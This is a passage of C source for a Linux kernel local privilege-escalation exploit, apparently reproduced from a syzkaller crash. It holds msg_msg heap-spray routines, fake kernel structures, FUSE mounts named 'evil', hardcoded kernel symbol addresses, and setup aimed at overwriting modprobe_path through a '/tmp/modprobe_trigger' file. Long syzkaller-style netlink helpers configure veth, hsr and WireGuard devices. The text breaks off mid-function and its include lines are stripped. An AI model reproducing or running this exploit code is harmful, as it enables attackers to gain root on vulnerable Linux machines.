#define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "fuse_evil.h" #define SIOCETHTOOL 0x8946 #define SLAB_32_OBJS_PER_SLAB 64 #define SLAB_32_CPU_PARTIAL 30 #define SLAB_1k_OBJS_PER_SLAB 32 #define SLAB_1k_CPU_PARTIAL 6 #define SLAB_2k_OBJS_PER_SLAB 16 #define SLAB_2k_CPU_PARTIAL 6 #define SLAB_4k_OBJS_PER_SLAB 8 #define SLAB_4k_CPU_PARTIAL 2 #define SIZE_OF_MSG_MSG 48 #define SIZE_OF_MSG_MSGSEG 8 #define OOB_PAGE 0xf #define PAGE_SIZE 0x1000 #define TTY_NUM 32 #define LAST_PAGE_GAP_BYTES 0x88 #define MSG_LEN 0x1018 #define CLEAR_LIST 0 #define PRINT_STACK_DEBUG 1 #define PRINT_PAGE_ALLOC 1 << 1 #define PRINT_PAGE_FREE 1 << 2 #define PRINT_MSG 1 << 3 #define PRINT_USER_KEY_PAYLOAD 1 << 4 #define PRINT_OOB_INFO 1 << 5 #define PRINT_ANY_PROC 1 << 6 #define PRINT_PAGE_CUR_ORDER 1 << 7 #define PRINT_PAGE_FREE_DETAIL 1 << 8 #define PRINT_XATTR 1 << 9 #define PRINT_OOB_DETAIL 1 << 10 #define PRINT_TARGET_SLAB 1 << 11 #define PRINT_MSG_DETAIL 1 << 12 #define SIZE_OF_USER_KEY_PAYLOAD 2049 #define SIZE_OF_USER_KEY_PAYLOAD_SLAB 4096 #define HEAP_SPRAY_LOOP 2 #define N_PROCS 8 #define N_LOOP N_PROCS #define FUSE_MOUNT1 "evil1" #define FUSE_MOUNT2 "evil2" #define PROC_MODPROBE_TRIGGER "/tmp/modprobe_trigger" #define MAX_QBYTES_IN_QUEUE 1024 #define BASE_MSGTYPE 0x1 #define MSG_HEADER_SIZE 0x30 #define MSG_SPARY 0x37 uint64_t addr_single_start = 0xffffffff8134b7f0; uint64_t addr_single_stop = 0xffffffff8134b830; uint64_t addr_single_next = 0xffffffff8134b810; uint64_t addr_modprobe_path = 0xffffffff82e6e220; int64_t kaslr_offset = 0; int pause_flag = 1; char *evil_buffer; uint64_t msg_next = NULL, msglist_prev = NULL, msglist_next = NULL; int fuse_fd = -1; void *fuse_mem_addr = NULL; int msqid[0x1000]; int max_msg; //#include "sandbox.h" struct list_head { struct list_head *next, *prev; }; struct msgbuf_key { long mtype; char mtext[1]; }; struct spary_msg_arg { int msqid; int start; int loop; int size; char *payload; void *dst; }; struct msg { long mtype; char mtext[1]; }; struct fake_msg_msg { struct list_head m_list; long m_type; size_t m_ts; /* message text size */ void *next; void *security; /* the actual message follows immediately */ }; typedef struct { int done; pthread_mutex_t mutex; pthread_mutex_t proc_mutex[N_PROCS+1]; } shared_data; struct spray_argv { void *addr; int size; pthread_mutex_t *mutex; int *count; }; static shared_data *free_mutex; static shared_data *spray_lock; static shared_data *two_loop; static shared_data *shell_lock; static shared_data *hang_threads; struct fake_user_key_payload { void *next; void *callback; short unsigned int datalen; }; static unsigned long long procid; static __thread int skip_segv; static __thread jmp_buf segv_env; void *recvmymsg(int _msqid, int size, void *memdump, int type, int free) { if (!free) free = MSG_COPY; if (msgrcv(_msqid, (void *) memdump, size, type, IPC_NOWAIT | free | MSG_NOERROR) == -1) { if(errno != ENOMSG) { perror("msgrcv"); exit(1); } } } int msg_spray(int num_msg, int size, int loop) { int i; #ifdef MSG_DEBUG printf("[*] msg_spray: num_msg: %d, size: %d, loop: %d\n", num_msg, size, loop); #endif for (i = 0; imtext[0], MSG_SPARY, buff_size); for (i = start; i < start+loop; i++) { msg_key->mtype = BASE_MSGTYPE + i; //printf("[*] sendmymsg: msqid: %d, mtype: %ld\n", _msqid, msg_key->mtype); int ret = msgsnd(_msqid, msg_key, buff_size, 0); //printf("[*] sendmymsg: msqid: %d, ret: %d\n", _msqid, ret); if (ret == -1) { printf("msgsnd error\n"); exit(1); } } free(msg_key); } void load_symbols() { struct utsname version; char buf[1024]; char *symbol; int ret; FILE *fp; u_int64_t addr; ret = uname(&version); if (ret != 0) { printf("Failed to retrieve kernel version using uname()\n"); exit(EXIT_FAILURE); } printf("Kernel version %s\n", version.release); memset(buf, 0, sizeof(buf)); snprintf(buf, sizeof(buf), "symbols/System.map-%s", version.release); fp = fopen(buf, "r"); if (fp == NULL) { printf("Failed to open symbol file %s\n", buf); return; } while(fgets(buf, sizeof(buf), fp) != NULL) { buf[16] = 0; addr = strtoul(buf, NULL, 16); symbol = &buf[19]; if (!strcmp(symbol, "single_start\n")) { addr_single_start = addr; printf("0x%016llx single_start\n", addr_single_start); } if (!strcmp(symbol, "single_stop\n")) { addr_single_stop = addr; printf("0x%016llx single_stop\n", addr_single_stop); } if (!strcmp(symbol, "single_next\n")) { addr_single_next = addr; printf("0x%016llx single_next\n", addr_single_next); } if (!strcmp(symbol, "modprobe_path\n")) { addr_modprobe_path = addr; printf("0x%016llx modprobe_path\n", addr_modprobe_path); } } fclose(fp); if (!addr_single_start || !addr_single_stop || !addr_single_next || !addr_modprobe_path) { printf("Missing at least one symbols.\n"); exit(EXIT_FAILURE); } } #define NONFAILING(...) \ ({ \ int ok = 1; \ __atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \ if (_setjmp(segv_env) == 0) { \ __VA_ARGS__; \ } else \ ok = 0; \ __atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \ ok; \ }) static bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { int err = errno; close(fd); errno = err; return false; } close(fd); return true; } struct nlmsg { char* pos; int nesting; struct nlattr* nested[8]; char buf[4096]; }; static void netlink_init(struct nlmsg* nlmsg, int typ, int flags, const void* data, int size) { memset(nlmsg, 0, sizeof(*nlmsg)); struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; hdr->nlmsg_type = typ; hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags; memcpy(hdr + 1, data, size); nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size); } static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data, int size) { struct nlattr* attr = (struct nlattr*)nlmsg->pos; attr->nla_len = sizeof(*attr) + size; attr->nla_type = typ; if (size > 0) memcpy(attr + 1, data, size); nlmsg->pos += NLMSG_ALIGN(attr->nla_len); } static void netlink_nest(struct nlmsg* nlmsg, int typ) { struct nlattr* attr = (struct nlattr*)nlmsg->pos; attr->nla_type = typ; nlmsg->pos += sizeof(*attr); nlmsg->nested[nlmsg->nesting++] = attr; } static void netlink_done(struct nlmsg* nlmsg) { struct nlattr* attr = nlmsg->nested[--nlmsg->nesting]; attr->nla_len = nlmsg->pos - (char*)attr; } static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type, int* reply_len, bool dofail) { if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting) exit(1); struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; hdr->nlmsg_len = nlmsg->pos - nlmsg->buf; struct sockaddr_nl addr; memset(&addr, 0, sizeof(addr)); addr.nl_family = AF_NETLINK; ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0, (struct sockaddr*)&addr, sizeof(addr)); if (n != (ssize_t)hdr->nlmsg_len) { if (dofail) exit(1); return -1; } n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); if (reply_len) *reply_len = 0; if (n < 0) { if (dofail) exit(1); return -1; } if (n < (ssize_t)sizeof(struct nlmsghdr)) { errno = EINVAL; if (dofail) exit(1); return -1; } if (hdr->nlmsg_type == NLMSG_DONE) return 0; if (reply_len && hdr->nlmsg_type == reply_type) { *reply_len = n; return 0; } if (n < (ssize_t)(sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))) { errno = EINVAL; if (dofail) exit(1); return -1; } if (hdr->nlmsg_type != NLMSG_ERROR) { errno = EINVAL; if (dofail) exit(1); return -1; } errno = -((struct nlmsgerr*)(hdr + 1))->error; return -errno; } static int netlink_send(struct nlmsg* nlmsg, int sock) { return netlink_send_ext(nlmsg, sock, 0, NULL, true); } static int netlink_query_family_id(struct nlmsg* nlmsg, int sock, const char* family_name, bool dofail) { struct genlmsghdr genlhdr; memset(&genlhdr, 0, sizeof(genlhdr)); genlhdr.cmd = CTRL_CMD_GETFAMILY; netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr)); netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, family_name, strnlen(family_name, GENL_NAMSIZ - 1) + 1); int n = 0; int err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n, dofail); if (err < 0) { return -1; } uint16_t id = 0; struct nlattr* attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN + NLMSG_ALIGN(sizeof(genlhdr))); for (; (char*)attr < nlmsg->buf + n; attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) { if (attr->nla_type == CTRL_ATTR_FAMILY_ID) { id = *(uint16_t*)(attr + 1); break; } } if (!id) { errno = EINVAL; return -1; } recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); return id; } static int netlink_next_msg(struct nlmsg* nlmsg, unsigned int offset, unsigned int total_len) { struct nlmsghdr* hdr = (struct nlmsghdr*)(nlmsg->buf + offset); if (offset == total_len || offset + hdr->nlmsg_len > total_len) return -1; return hdr->nlmsg_len; } static void netlink_add_device_impl(struct nlmsg* nlmsg, const char* type, const char* name) { struct ifinfomsg hdr; memset(&hdr, 0, sizeof(hdr)); netlink_init(nlmsg, RTM_NEWLINK, NLM_F_EXCL | NLM_F_CREATE, &hdr, sizeof(hdr)); if (name) netlink_attr(nlmsg, IFLA_IFNAME, name, strlen(name)); netlink_nest(nlmsg, IFLA_LINKINFO); netlink_attr(nlmsg, IFLA_INFO_KIND, type, strlen(type)); } static void netlink_add_device(struct nlmsg* nlmsg, int sock, const char* type, const char* name) { netlink_add_device_impl(nlmsg, type, name); netlink_done(nlmsg); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static void netlink_add_veth(struct nlmsg* nlmsg, int sock, const char* name, const char* peer) { netlink_add_device_impl(nlmsg, "veth", name); netlink_nest(nlmsg, IFLA_INFO_DATA); netlink_nest(nlmsg, VETH_INFO_PEER); nlmsg->pos += sizeof(struct ifinfomsg); netlink_attr(nlmsg, IFLA_IFNAME, peer, strlen(peer)); netlink_done(nlmsg); netlink_done(nlmsg); netlink_done(nlmsg); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static void netlink_add_hsr(struct nlmsg* nlmsg, int sock, const char* name, const char* slave1, const char* slave2) { netlink_add_device_impl(nlmsg, "hsr", name); netlink_nest(nlmsg, IFLA_INFO_DATA); int ifindex1 = if_nametoindex(slave1); netlink_attr(nlmsg, IFLA_HSR_SLAVE1, &ifindex1, sizeof(ifindex1)); int ifindex2 = if_nametoindex(slave2); netlink_attr(nlmsg, IFLA_HSR_SLAVE2, &ifindex2, sizeof(ifindex2)); netlink_done(nlmsg); netlink_done(nlmsg); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static void netlink_add_linked(struct nlmsg* nlmsg, int sock, const char* type, const char* name, const char* link) { netlink_add_device_impl(nlmsg, type, name); netlink_done(nlmsg); int ifindex = if_nametoindex(link); netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static void netlink_add_vlan(struct nlmsg* nlmsg, int sock, const char* name, const char* link, uint16_t id, uint16_t proto) { netlink_add_device_impl(nlmsg, "vlan", name); netlink_nest(nlmsg, IFLA_INFO_DATA); netlink_attr(nlmsg, IFLA_VLAN_ID, &id, sizeof(id)); netlink_attr(nlmsg, IFLA_VLAN_PROTOCOL, &proto, sizeof(proto)); netlink_done(nlmsg); netlink_done(nlmsg); int ifindex = if_nametoindex(link); netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static void netlink_add_macvlan(struct nlmsg* nlmsg, int sock, const char* name, const char* link) { netlink_add_device_impl(nlmsg, "macvlan", name); netlink_nest(nlmsg, IFLA_INFO_DATA); uint32_t mode = MACVLAN_MODE_BRIDGE; netlink_attr(nlmsg, IFLA_MACVLAN_MODE, &mode, sizeof(mode)); netlink_done(nlmsg); netlink_done(nlmsg); int ifindex = if_nametoindex(link); netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static void netlink_add_geneve(struct nlmsg* nlmsg, int sock, const char* name, uint32_t vni, struct in_addr* addr4, struct in6_addr* addr6) { netlink_add_device_impl(nlmsg, "geneve", name); netlink_nest(nlmsg, IFLA_INFO_DATA); netlink_attr(nlmsg, IFLA_GENEVE_ID, &vni, sizeof(vni)); if (addr4) netlink_attr(nlmsg, IFLA_GENEVE_REMOTE, addr4, sizeof(*addr4)); if (addr6) netlink_attr(nlmsg, IFLA_GENEVE_REMOTE6, addr6, sizeof(*addr6)); netlink_done(nlmsg); netlink_done(nlmsg); int err = netlink_send(nlmsg, sock); if (err < 0) { } } #define IFLA_IPVLAN_FLAGS 2 #define IPVLAN_MODE_L3S 2 #undef IPVLAN_F_VEPA #define IPVLAN_F_VEPA 2 static void netlink_add_ipvlan(struct nlmsg* nlmsg, int sock, const char* name, const char* link, uint16_t mode, uint16_t flags) { netlink_add_device_impl(nlmsg, "ipvlan", name); netlink_nest(nlmsg, IFLA_INFO_DATA); netlink_attr(nlmsg, IFLA_IPVLAN_MODE, &mode, sizeof(mode)); netlink_attr(nlmsg, IFLA_IPVLAN_FLAGS, &flags, sizeof(flags)); netlink_done(nlmsg); netlink_done(nlmsg); int ifindex = if_nametoindex(link); netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static void netlink_device_change(struct nlmsg* nlmsg, int sock, const char* name, bool up, const char* master, const void* mac, int macsize, const char* new_name) { struct ifinfomsg hdr; memset(&hdr, 0, sizeof(hdr)); if (up) hdr.ifi_flags = hdr.ifi_change = IFF_UP; hdr.ifi_index = if_nametoindex(name); netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr)); if (new_name) netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name)); if (master) { int ifindex = if_nametoindex(master); netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex)); } if (macsize) netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static int netlink_add_addr(struct nlmsg* nlmsg, int sock, const char* dev, const void* addr, int addrsize) { struct ifaddrmsg hdr; memset(&hdr, 0, sizeof(hdr)); hdr.ifa_family = addrsize == 4 ? AF_INET : AF_INET6; hdr.ifa_prefixlen = addrsize == 4 ? 24 : 120; hdr.ifa_scope = RT_SCOPE_UNIVERSE; hdr.ifa_index = if_nametoindex(dev); netlink_init(nlmsg, RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE, &hdr, sizeof(hdr)); netlink_attr(nlmsg, IFA_LOCAL, addr, addrsize); netlink_attr(nlmsg, IFA_ADDRESS, addr, addrsize); return netlink_send(nlmsg, sock); } static void netlink_add_addr4(struct nlmsg* nlmsg, int sock, const char* dev, const char* addr) { struct in_addr in_addr; inet_pton(AF_INET, addr, &in_addr); int err = netlink_add_addr(nlmsg, sock, dev, &in_addr, sizeof(in_addr)); if (err < 0) { } } static void netlink_add_addr6(struct nlmsg* nlmsg, int sock, const char* dev, const char* addr) { struct in6_addr in6_addr; inet_pton(AF_INET6, addr, &in6_addr); int err = netlink_add_addr(nlmsg, sock, dev, &in6_addr, sizeof(in6_addr)); if (err < 0) { } } static struct nlmsg nlmsg; #define DEVLINK_FAMILY_NAME "devlink" #define DEVLINK_CMD_PORT_GET 5 #define DEVLINK_ATTR_BUS_NAME 1 #define DEVLINK_ATTR_DEV_NAME 2 #define DEVLINK_ATTR_NETDEV_NAME 7 static struct nlmsg nlmsg2; static void initialize_devlink_ports(const char* bus_name, const char* dev_name, const char* netdev_prefix) { struct genlmsghdr genlhdr; int len, total_len, id, err, offset; uint16_t netdev_index; int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (sock == -1) exit(1); int rtsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (rtsock == -1) exit(1); id = netlink_query_family_id(&nlmsg, sock, DEVLINK_FAMILY_NAME, true); if (id == -1) goto error; memset(&genlhdr, 0, sizeof(genlhdr)); genlhdr.cmd = DEVLINK_CMD_PORT_GET; netlink_init(&nlmsg, id, NLM_F_DUMP, &genlhdr, sizeof(genlhdr)); netlink_attr(&nlmsg, DEVLINK_ATTR_BUS_NAME, bus_name, strlen(bus_name) + 1); netlink_attr(&nlmsg, DEVLINK_ATTR_DEV_NAME, dev_name, strlen(dev_name) + 1); err = netlink_send_ext(&nlmsg, sock, id, &total_len, true); if (err < 0) { goto error; } offset = 0; netdev_index = 0; while ((len = netlink_next_msg(&nlmsg, offset, total_len)) != -1) { struct nlattr* attr = (struct nlattr*)(nlmsg.buf + offset + NLMSG_HDRLEN + NLMSG_ALIGN(sizeof(genlhdr))); for (; (char*)attr < nlmsg.buf + offset + len; attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) { if (attr->nla_type == DEVLINK_ATTR_NETDEV_NAME) { char* port_name; char netdev_name[IFNAMSIZ]; port_name = (char*)(attr + 1); snprintf(netdev_name, sizeof(netdev_name), "%s%d", netdev_prefix, netdev_index); netlink_device_change(&nlmsg2, rtsock, port_name, true, 0, 0, 0, netdev_name); break; } } offset += len; netdev_index++; } error: close(rtsock); close(sock); } #define DEV_IPV4 "172.20.20.%d" #define DEV_IPV6 "fe80::%02x" #define DEV_MAC 0x00aaaaaaaaaa static void netdevsim_add(unsigned int addr, unsigned int port_count) { char buf[16]; sprintf(buf, "%u %u", addr, port_count); if (write_file("/sys/bus/netdevsim/new_device", buf)) { snprintf(buf, sizeof(buf), "netdevsim%d", addr); initialize_devlink_ports("netdevsim", buf, "netdevsim"); } } #define WG_GENL_NAME "wireguard" enum wg_cmd { WG_CMD_GET_DEVICE, WG_CMD_SET_DEVICE, }; enum wgdevice_attribute { WGDEVICE_A_UNSPEC, WGDEVICE_A_IFINDEX, WGDEVICE_A_IFNAME, WGDEVICE_A_PRIVATE_KEY, WGDEVICE_A_PUBLIC_KEY, WGDEVICE_A_FLAGS, WGDEVICE_A_LISTEN_PORT, WGDEVICE_A_FWMARK, WGDEVICE_A_PEERS, }; enum wgpeer_attribute { WGPEER_A_UNSPEC, WGPEER_A_PUBLIC_KEY, WGPEER_A_PRESHARED_KEY, WGPEER_A_FLAGS, WGPEER_A_ENDPOINT, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, WGPEER_A_LAST_HANDSHAKE_TIME, WGPEER_A_RX_BYTES, WGPEER_A_TX_BYTES, WGPEER_A_ALLOWEDIPS, WGPEER_A_PROTOCOL_VERSION, }; enum wgallowedip_attribute { WGALLOWEDIP_A_UNSPEC, WGALLOWEDIP_A_FAMILY, WGALLOWEDIP_A_IPADDR, WGALLOWEDIP_A_CIDR_MASK, }; static void netlink_wireguard_setup(void) { const char ifname_a[] = "wg0"; const char ifname_b[] = "wg1"; const char ifname_c[] = "wg2"; const char private_a[] = "\xa0\x5c\xa8\x4f\x6c\x9c\x8e\x38\x53\xe2\xfd\x7a\x70\xae\x0f\xb2\x0f\xa1" "\x52\x60\x0c\xb0\x08\x45\x17\x4f\x08\x07\x6f\x8d\x78\x43"; const char private_b[] = "\xb0\x80\x73\xe8\xd4\x4e\x91\xe3\xda\x92\x2c\x22\x43\x82\x44\xbb\x88\x5c" "\x69\xe2\x69\xc8\xe9\xd8\x35\xb1\x14\x29\x3a\x4d\xdc\x6e"; const char private_c[] = "\xa0\xcb\x87\x9a\x47\xf5\xbc\x64\x4c\x0e\x69\x3f\xa6\xd0\x31\xc7\x4a\x15" "\x53\xb6\xe9\x01\xb9\xff\x2f\x51\x8c\x78\x04\x2f\xb5\x42"; const char public_a[] = "\x97\x5c\x9d\x81\xc9\x83\xc8\x20\x9e\xe7\x81\x25\x4b\x89\x9f\x8e\xd9\x25" "\xae\x9f\x09\x23\xc2\x3c\x62\xf5\x3c\x57\xcd\xbf\x69\x1c"; const char public_b[] = "\xd1\x73\x28\x99\xf6\x11\xcd\x89\x94\x03\x4d\x7f\x41\x3d\xc9\x57\x63\x0e" "\x54\x93\xc2\x85\xac\xa4\x00\x65\xcb\x63\x11\xbe\x69\x6b"; const char public_c[] = "\xf4\x4d\xa3\x67\xa8\x8e\xe6\x56\x4f\x02\x02\x11\x45\x67\x27\x08\x2f\x5c" "\xeb\xee\x8b\x1b\xf5\xeb\x73\x37\x34\x1b\x45\x9b\x39\x22"; const uint16_t listen_a = 20001; const uint16_t listen_b = 20002; const uint16_t listen_c = 20003; const uint16_t af_inet = AF_INET; const uint16_t af_inet6 = AF_INET6; const struct sockaddr_in endpoint_b_v4 = { .sin_family = AF_INET, .sin_port = htons(listen_b), .sin_addr = {htonl(INADDR_LOOPBACK)}}; const struct sockaddr_in endpoint_c_v4 = { .sin_family = AF_INET, .sin_port = htons(listen_c), .sin_addr = {htonl(INADDR_LOOPBACK)}}; struct sockaddr_in6 endpoint_a_v6 = {.sin6_family = AF_INET6, .sin6_port = htons(listen_a)}; endpoint_a_v6.sin6_addr = in6addr_loopback; struct sockaddr_in6 endpoint_c_v6 = {.sin6_family = AF_INET6, .sin6_port = htons(listen_c)}; endpoint_c_v6.sin6_addr = in6addr_loopback; const struct in_addr first_half_v4 = {0}; const struct in_addr second_half_v4 = {(uint32_t)htonl(128 << 24)}; const struct in6_addr first_half_v6 = {{{0}}}; const struct in6_addr second_half_v6 = {{{0x80}}}; const uint8_t half_cidr = 1; const uint16_t persistent_keepalives[] = {1, 3, 7, 9, 14, 19}; struct genlmsghdr genlhdr = {.cmd = WG_CMD_SET_DEVICE, .version = 1}; int sock; int id, err; sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (sock == -1) { return; } id = netlink_query_family_id(&nlmsg, sock, WG_GENL_NAME, true); if (id == -1) goto error; netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr)); netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_a, strlen(ifname_a) + 1); netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_a, 32); netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_a, 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32); netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4, sizeof(endpoint_b_v4)); netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, &persistent_keepalives[0], 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4, sizeof(first_half_v4)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6, sizeof(first_half_v6)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32); netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v6, sizeof(endpoint_c_v6)); netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, &persistent_keepalives[1], 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4, sizeof(second_half_v4)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6, sizeof(second_half_v6)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); err = netlink_send(&nlmsg, sock); if (err < 0) { } netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr)); netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_b, strlen(ifname_b) + 1); netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_b, 32); netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_b, 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32); netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6, sizeof(endpoint_a_v6)); netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, &persistent_keepalives[2], 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4, sizeof(first_half_v4)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6, sizeof(first_half_v6)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32); netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v4, sizeof(endpoint_c_v4)); netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, &persistent_keepalives[3], 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4, sizeof(second_half_v4)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6, sizeof(second_half_v6)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); err = netlink_send(&nlmsg, sock); if (err < 0) { } netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr)); netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_c, strlen(ifname_c) + 1); netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_c, 32); netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_c, 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32); netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6, sizeof(endpoint_a_v6)); netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, &persistent_keepalives[4], 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); netlink_attr(&nlmsg, 